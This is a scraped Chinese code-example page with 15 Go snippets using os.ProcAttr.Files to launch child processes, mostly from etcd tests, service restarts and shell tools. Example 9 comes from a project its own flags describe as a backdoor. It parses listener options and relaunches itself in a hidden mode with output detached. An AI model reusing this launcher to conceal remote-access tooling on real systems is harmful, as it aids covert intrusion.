當前位置: 首頁>>代碼示例>>Golang>>正文


Golang ProcAttr.Files方法代碼示例

本文整理匯總了Golang中os.ProcAttr.Files方法的典型用法代碼示例。如果您正苦於以下問題:Golang ProcAttr.Files方法的具體用法?Golang ProcAttr.Files怎麽用?Golang ProcAttr.Files使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在os.ProcAttr的用法示例。


在下文中一共展示了ProcAttr.Files方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Golang代碼示例。

示例1: TestJoinThroughFollower

func TestJoinThroughFollower(t *testing.T) {
	procAttr := new(os.ProcAttr)
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}

	_, etcds, err := CreateCluster(2, procAttr, false)
	if err != nil {
		t.Fatal("cannot create cluster")
	}
	defer DestroyCluster(etcds)

	time.Sleep(time.Second)

	newEtcd, err := os.StartProcess(EtcdBinPath, []string{"etcd", "-data-dir=/tmp/node3", "-name=node3", "-addr=127.0.0.1:4003", "-peer-addr=127.0.0.1:7003", "-peers=127.0.0.1:7002", "-f"}, procAttr)
	if err != nil {
		t.Fatal("failed starting node3")
	}
	defer func() {
		newEtcd.Kill()
		newEtcd.Release()
	}()

	time.Sleep(time.Second)

	leader, err := getLeader("http://127.0.0.1:4003")
	if err != nil {
		t.Fatal("failed getting leader from node3:", err)
	}
	if leader != "http://127.0.0.1:7001" {
		t.Fatal("expect=http://127.0.0.1:7001 got=", leader)
	}
}
開發者ID:BREWTAN,項目名稱:etcd,代碼行數:31,代碼來源:join_test.go

示例2: TestVersionCheck

// Ensure that a node can reply to a version check appropriately.
func TestVersionCheck(t *testing.T) {
	procAttr := new(os.ProcAttr)
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	args := []string{"etcd", "-n=node1", "-f", "-d=/tmp/version_check"}

	process, err := os.StartProcess(EtcdBinPath, args, procAttr)
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
		return
	}
	defer process.Kill()

	time.Sleep(time.Second)

	// Check a version too small.
	resp, _ := http.Get("http://localhost:7001/version/1/check")
	resp.Body.Close()
	if resp.StatusCode != http.StatusForbidden {
		t.Fatal("Invalid version check: ", resp.StatusCode)
	}

	// Check a version too large.
	resp, _ = http.Get("http://localhost:7001/version/3/check")
	resp.Body.Close()
	if resp.StatusCode != http.StatusForbidden {
		t.Fatal("Invalid version check: ", resp.StatusCode)
	}

	// Check a version that's just right.
	resp, _ = http.Get("http://localhost:7001/version/2/check")
	resp.Body.Close()
	if resp.StatusCode != http.StatusOK {
		t.Fatal("Invalid version check: ", resp.StatusCode)
	}
}
開發者ID:GeertJohan,項目名稱:etcd,代碼行數:36,代碼來源:version_check_test.go

示例3: trapSignal

// 處理係統信號
// 監聽係統信號,重啟或停止服務
func trapSignal(server client.Encoder) {
	sch := make(chan os.Signal, 10)
	signal.Notify(sch, syscall.SIGTERM, syscall.SIGKILL, syscall.SIGINT,
		syscall.SIGHUP, syscall.SIGSTOP, syscall.SIGQUIT)
	go func(ch <-chan os.Signal) {
		sig := <-ch
		server.Shutdown("signal recieved " + sig.String() + ", at: " + time.Now().String())
		if sig == syscall.SIGHUP {
			server.Info("autoencode restart now...")
			procAttr := new(os.ProcAttr)
			procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
			procAttr.Dir = os.Getenv("PWD")
			procAttr.Env = os.Environ()
			process, err := os.StartProcess(os.Args[0], os.Args, procAttr)
			if err != nil {
				server.Info("autoencode restart process failed:" + err.Error())
				return
			}
			waitMsg, err := process.Wait()
			if err != nil {
				server.Info("autoencode restart wait error:" + err.Error())
			}
			server.Info(waitMsg)
		} else {
			server.Info("autoencode shutdown now...")
		}
	}(sch)
}
開發者ID:safeie,項目名稱:autoencode-git,代碼行數:30,代碼來源:main.go

示例4: TestMultiNodeKillAllAndRecovery

// Create a five nodes
// Kill all the nodes and restart
func TestMultiNodeKillAllAndRecovery(t *testing.T) {
	procAttr := new(os.ProcAttr)
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}

	clusterSize := 5
	argGroup, etcds, err := CreateCluster(clusterSize, procAttr, false)
	defer DestroyCluster(etcds)

	if err != nil {
		t.Fatal("cannot create cluster")
	}

	c := etcd.NewClient(nil)

	c.SyncCluster()

	time.Sleep(time.Second)

	// send 10 commands
	for i := 0; i < 10; i++ {
		// Test Set
		_, err := c.Set("foo", "bar", 0)
		if err != nil {
			panic(err)
		}
	}

	time.Sleep(time.Second)

	// kill all
	DestroyCluster(etcds)

	time.Sleep(time.Second)

	stop := make(chan bool)
	leaderChan := make(chan string, 1)
	all := make(chan bool, 1)

	time.Sleep(time.Second)

	for i := 0; i < clusterSize; i++ {
		etcds[i], err = os.StartProcess(EtcdBinPath, argGroup[i], procAttr)
	}

	go Monitor(clusterSize, 1, leaderChan, all, stop)

	<-all
	<-leaderChan

	result, err := c.Set("foo", "bar", 0)

	if err != nil {
		t.Fatalf("Recovery error: %s", err)
	}

	if result.Node.ModifiedIndex != 16 {
		t.Fatalf("recovery failed! [%d/16]", result.Node.ModifiedIndex)
	}
}
開發者ID:lichia,項目名稱:hydra,代碼行數:61,代碼來源:multi_node_kill_all_and_recovery_test.go

示例5: tryLockAndRun

func tryLockAndRun(p params) {
	// Opening log file
	file, err := os.OpenFile(p.lockFilename, os.O_CREATE|os.O_RDWR, 0666)
	if err != nil {
		log.Fatalf("Unable to write lockfile: %s", p.lockFilename)
	}

	// Trying to lock file
	attempts := 0
	for {
		attempts++
		err = syscall.Flock(int(file.Fd()), syscall.LOCK_EX|syscall.LOCK_NB)
		if err == nil {
			if p.verbose == true {
				log.Printf("Locking...")
			}
			break
		}

		if p.wait == false {
			fmt.Printf("ERROR: cannot launch %s - run is locked", "TODO")
			os.Exit(1)
		} else {
			if p.verbose {
				log.Printf("Attempt %d failed - sleeping %d seconds", attempts, p.sleep)
			}
			time.Sleep(time.Duration(p.sleep) * time.Second)

			if attempts >= p.retries {
				fmt.Printf("ERROR: cannot launch %s - run is locked (after %d attempts", "TODO", attempts)
				os.Exit(1)
			}
		}
	}

	if err != nil {
		log.Fatalf("Locking error: %v", err)
	}

	var procAttr os.ProcAttr
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}

	command, err4 := exec.LookPath(p.commandInfo[0])
	if err4 != nil {
		command = p.commandInfo[0]
	}

	process, err2 := os.StartProcess(command, p.commandInfo, &procAttr)
	if err2 != nil {
		fmt.Printf("ERROR: %s\n", err2)
	} else {
		_, err3 := process.Wait()
		if err3 != nil {
			fmt.Printf("ERROR: %s\n", err3)
		}
	}

	log.Printf("Finish!")
}
開發者ID:josgilmo,項目名稱:Lockrungo,代碼行數:59,代碼來源:lockrun.go

示例6: restartSecondary

func restartSecondary(wdPID int) (*os.Process, error) {
	argv := []string{"./elevApp", strconv.Itoa(1), strconv.Itoa(wdPID)} // 1 = START_SECONDARY
	attr := new(os.ProcAttr)
	attr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	proc, err := os.StartProcess("elevApp", argv, attr)

	return proc, err
}
開發者ID:TorChrEriksen,項目名稱:TTK4145,代碼行數:8,代碼來源:main.go

示例7: restartSecondary

func restartSecondary(wdPID int) (*os.Process, error) {
	argv := []string{"./main", strconv.Itoa(1), strconv.Itoa(wdPID)} // 1 = START_SECONDARY
	attr := new(os.ProcAttr)
	attr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	proc, err := os.StartProcess("main", argv, attr) // need struct to keep track of the PIDs

	return proc, err
}
開發者ID:TorChrEriksen,項目名稱:TTK4145,代碼行數:8,代碼來源:main.go

示例8: Open

func (s *Session) Open(t int) *Error {

	if s.IsOpen() {
		return nil
	}

	s.Type = t
	s.Args = s.BuildTranscodeCommand()
	log.Printf("Opening transcoder session: %s", s.Args)

	// create output directory structure
	if err := s.createOutputDirectories(); err != nil {
		return ErrorIO
	}

	// create pipe
	pr, pw, err := os.Pipe()
	if err != nil {
		s.setState(TC_FAILED)
		return ErrorTranscodeFailed
	}
	s.Pipe = pw

	// create logfile
	logname := s.c.Transcode.Log_path + "/" + s.idstr + ".log"
	s.LogFile, _ = os.OpenFile(logname, os.O_WRONLY|os.O_CREATE|os.O_APPEND, utils.PERM_FILE)

	// start transcode process
	var attr os.ProcAttr
	attr.Dir = s.c.Transcode.Output_path + "/" + s.idstr
	attr.Files = []*os.File{pr, s.LogFile, s.LogFile}
	s.Proc, err = os.StartProcess(s.c.Transcode.Command, strings.Fields(s.Args), &attr)

	if err != nil {
		log.Printf("Error starting process: %s", err)
		s.setState(TC_FAILED)
		pr.Close()
		pw.Close()
		s.LogFile.Close()
		s.Pipe = nil
		s.Type = 0
		s.Args = ""
		return ErrorTranscodeFailed
	}

	// close read-end of pipe and logfile after successful start
	pr.Close()
	s.LogFile.Close()

	// set timeout for session cleanup
	s.Timer = time.AfterFunc(time.Duration(s.c.Server.Session_timeout)*time.Second,
		func() { s.HandleTimeout() })

	// set state
	s.setState(TC_RUNNING)
	return nil
}
開發者ID:falahhaprak,項目名稱:rter,代碼行數:57,代碼來源:session.go

示例9: main

/*
   FUNCTION: func main()
   RETURNS: Nothing

   ABOUT:
   The main loop of program execution. Allows for retreiving of flags and intiation of client / server.
*/
func main() {

	//flags
	modePtr := flag.String("mode", "client", "The mode of the application, may either be"+
		" client or server. Defaults to client.")
	ipPtr := flag.String("ip", "127.0.0.1", "The ip to connect to if in client mode.")
	portPtr := flag.Int("port", 3322, "The port to connect to in client mode, or to listen on in server mode. Defaults to 3322.")
	interfacePtr := flag.String("iface", "wlan0", "The interface for the backdoor to monitor for incoming connection, defaults to eth0.")
	lPortPtr := flag.Int("lport", 3321, "The port for the client to listen on.")
	hiddenPtr := flag.String("visible", "true", "Determines whether the server will be hidden or not. true for visible and false for invisible.")
	dstMacPtr := flag.String("dMac", "", "Destination mac of the outgoing connection.")
	//flags

	flag.Parse()

	destmac, _ = net.ParseMAC(*dstMacPtr)
	localip = GetLocalIP()
	localmac = GetLocalMAC(*interfacePtr)

	if *hiddenPtr == "false" && *modePtr == "server" {

		var procAttr os.ProcAttr
		procAttr.Files = []*os.File{os.Stdin, nil, nil}

		arguments := make([]string, 7)
		arguments[0] = ""
		arguments[1] = fmt.Sprintf("-mode=%s", *modePtr)
		arguments[2] = fmt.Sprintf("-ip=%s", *ipPtr)
		arguments[3] = fmt.Sprintf("-port=%d", *portPtr)
		arguments[4] = fmt.Sprintf("-iface=%s", *interfacePtr)
		arguments[5] = fmt.Sprintf("-lport=%d", *lPortPtr)
		arguments[6] = fmt.Sprint("-visible=invalid")
		if runtime.GOOS == "windows" {
			_, err := os.StartProcess("GoBD", arguments, &procAttr)
			checkError(err)
		} else {
			_, err := os.StartProcess("./GoBD", arguments, &procAttr)
			checkError(err)
		}
		return
	}

	intiateTools()
	intiateHandles(*interfacePtr)

	switch *modePtr {
	case "client":
		fmt.Printf("Running in client mode. Connecting to %s at port %d.\n", *ipPtr, *portPtr)
		pType = CLIENT
		intiateClient(*ipPtr, uint16(*portPtr), uint16(*lPortPtr))
		break
	case "server":
		fmt.Printf("Running in server mode. Listening on %s at port %d\n", GetLocalIP(), *portPtr)
		pType = SERVER
		beginListen(*ipPtr, uint16(*portPtr), uint16(*lPortPtr))
	}
}
開發者ID:razc411,項目名稱:GoBD,代碼行數:64,代碼來源:server.go

示例10: TestSingleNodeRecovery

// This test creates a single node and then set a value to it.
// Then this test kills the node and restart it and tries to get the value again.
func TestSingleNodeRecovery(t *testing.T) {
	procAttr := new(os.ProcAttr)
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	args := []string{"etcd", "-name=node1", "-data-dir=/tmp/node1"}

	process, err := os.StartProcess(EtcdBinPath, append(args, "-f"), procAttr)
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
		return
	}

	time.Sleep(time.Second)

	c := etcd.NewClient(nil)

	c.SyncCluster()
	// Test Set
	result, err := c.Set("foo", "bar", 100)
	node := result.Node

	if err != nil || node.Key != "/foo" || node.Value != "bar" || node.TTL < 95 {
		if err != nil {
			t.Fatal(err)
		}

		t.Fatalf("Set 1 failed with %s %s %v", node.Key, node.Value, node.TTL)
	}

	time.Sleep(time.Second)

	process.Kill()

	process, err = os.StartProcess(EtcdBinPath, args, procAttr)
	defer process.Kill()
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
		return
	}

	time.Sleep(time.Second)

	result, err = c.Get("foo", false, false)
	node = result.Node

	if err != nil {
		t.Fatal("get fail: " + err.Error())
		return
	}

	if err != nil || node.Key != "/foo" || node.Value != "bar" || node.TTL > 99 {
		if err != nil {
			t.Fatal(err)
		}
		t.Fatalf("Recovery Get failed with %s %s %v", node.Key, node.Value, node.TTL)
	}
}
開發者ID:BREWTAN,項目名稱:etcd,代碼行數:58,代碼來源:single_node_recovery_test.go

示例11: spawnCopy

func spawnCopy(wdPID int) (*os.Process, error) {

	fmt.Println("Spawning copy of Primary")

	argv := []string{os.Args[0], strconv.Itoa(START_SECONDARY), strconv.Itoa(wdPID)}
	attr := new(os.ProcAttr)
	attr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	proc, err := os.StartProcess("elevApp", argv, attr)
	return proc, err
}
開發者ID:TorChrEriksen,項目名稱:TTK4145,代碼行數:10,代碼來源:main.go

示例12: Command_Update

func Command_Update() {
	if runtime.GOOS == "linux" {
		args := []string{"arg1"}
		procAttr := new(os.ProcAttr)
		procAttr.Files = []*os.File{os.Stdin, os.Stdout, os.Stderr}
		os.StartProcess("./update_linux.sh", args, procAttr)
	} else {
		fmt.Println(utils.Timestamp() + "!update works only in production")
	}
}
開發者ID:Mixaill,項目名稱:Gotik,代碼行數:10,代碼來源:Commands.go

示例13: spawnCopy

func spawnCopy() (*os.Process, error) {
	if PRINT_INFO {
		fmt.Println("Spawning copy of ourself")
	}
	argv := []string{os.Args[0], strconv.Itoa(SECONDARY), os.Args[2]}
	attr := new(os.ProcAttr)
	attr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	proc, err := os.StartProcess("main", argv, attr)
	return proc, err
}
開發者ID:TorChrEriksen,項目名稱:TTK4145,代碼行數:10,代碼來源:main.go

示例14: Restart

func Restart() {
	var attr os.ProcAttr
	attr.Files = []*os.File{os.Stdin, os.Stdout, os.Stderr}
	attr.Sys = &syscall.SysProcAttr{}
	_, err := os.StartProcess(os.Args[0], os.Args, &attr)
	if err != nil {
		_err(err)
	}
	Stop()
}
開發者ID:vincentshi,項目名稱:z-node,代碼行數:10,代碼來源:func.go

示例15: execFgCmd

func execFgCmd(cmd []string, sigStateChanged chan string) {
	cmdStr := strings.Join(cmd, " ")

	// TODO: Extract start process into common function.
	argv0, err := exec.LookPath(cmd[0])
	if err != nil {
		if cmd[0] != "" {
			fmt.Printf("Unknown command: %s\n", cmd[0])
		}
		// Don't execute new process with empty return. Will cause panic.
		sigPrompt <- struct{}{}
		return
	}
	var procAttr os.ProcAttr
	procAttr.Files = []*os.File{os.Stdin, os.Stdout, os.Stderr}

	p, err := os.StartProcess(argv0, cmd, &procAttr)
	if err != nil {
		fmt.Printf("Start process %s, %s failed: %v", err, argv0, cmd)
	}

	for {
		sigChild := make(chan os.Signal)
		defer close(sigChild)
		// SIGCONT not receivable: https://github.com/golang/go/issues/8953
		// This causes some bugs. Eg. CONT signal not captured by handler means subsequent KILL or STOP signals will be ignored by this handler.
		signal.Notify(sigChild, syscall.SIGTSTP, syscall.SIGINT, syscall.SIGCONT, syscall.SIGKILL)
		defer signal.Stop(sigChild)

		var ws syscall.WaitStatus
		// Ignoring error. May return "no child processes" error. Eg. Sending Ctrl-c on `cat` command.
		wpid, _ := syscall.Wait4(p.Pid, &ws, syscall.WUNTRACED, nil)

		if ws.Exited() {
			break
		}
		if ws.Stopped() {
			jobHandler(wpid, runningState, cmdStr)
			jobHandler(wpid, suspendedState, cmdStr)
			// Return prompt when fg has become bg
			sigPrompt <- struct{}{}
		}
		//if ws.Continued() {
		//	state = contState
		//}
		if ws == 9 {
			jobHandler(wpid, killedState, cmdStr)
			break
		}
	}

	p.Wait()
	sigPrompt <- struct{}{}
}
開發者ID:audreylim,項目名稱:mini-shell,代碼行數:54,代碼來源:exec.go


注:本文中的os.ProcAttr.Files方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。